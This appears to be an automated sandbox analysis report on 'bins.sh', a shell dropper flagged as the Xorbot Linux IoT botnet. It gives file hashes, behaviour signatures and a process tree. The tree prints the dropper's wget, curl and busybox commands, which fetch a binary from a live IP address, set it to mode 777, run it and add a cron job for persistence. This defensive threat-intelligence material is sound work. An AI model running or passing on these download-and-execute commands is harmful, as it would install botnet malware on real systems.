Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/12/2024, 08:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d32474a35e8f1f0273df0472abcffbd1

  • SHA1

    7050456a281a217032b8081dc2fecde1dd47d39a

  • SHA256

    d67a7469745e36651000846e5d70e0ac0a7859f1b85ceb651233cfb6ad469f59

  • SHA512

    1420ac3b05b7dbaee44d19c3ba64415fe46db9f61e5c552939ea6354e5df6a5a704e9c9cdc33c84c08836d7092cb0e74305970dfd54eb31a85cbda87b91acdf6

  • SSDEEP

    96:nI3vGLKKLHEkGNhIZC8OVLX7tW63nYClcRWd3vGXEKEkGNh3sZCoKOrXL4VLX7wJ:nLKKLXZC5fW63nYCWpZCbh3nYYC

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2192) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1472
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1473
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:1474
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:1487
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/chmod
          chmod 777 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • File and Directory Permissions Modification
          PID:1489
        • /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          ./XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1490
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1492
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1493
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1494
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1495
              • /bin/rm
                rm XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
                2⤵
                  PID:1505
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
                  2⤵
                    PID:1508

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /var/spool/cron/crontabs/tmp.uPPabz

                        Filesize

                        210B

                        MD5

                        d6ef47ee7c6e3d700f70db12522aa043

                        SHA1

                        7b2cb227608abaca19b1f392c71e50fbc6ea1729

                        SHA256

                        97d8ca4e545d1ea2e9ebfb266a05dc0f150d0388643f95c65fa0cfd6984b916c

                        SHA512

                        38a72a8dd0eb56d6414347aacc8b3684b5e7a5df8b267f94ad80977d93a74cff75877283632ba594a20c593c91b72bc635aeabb432fc9b6f51a87474d47f7652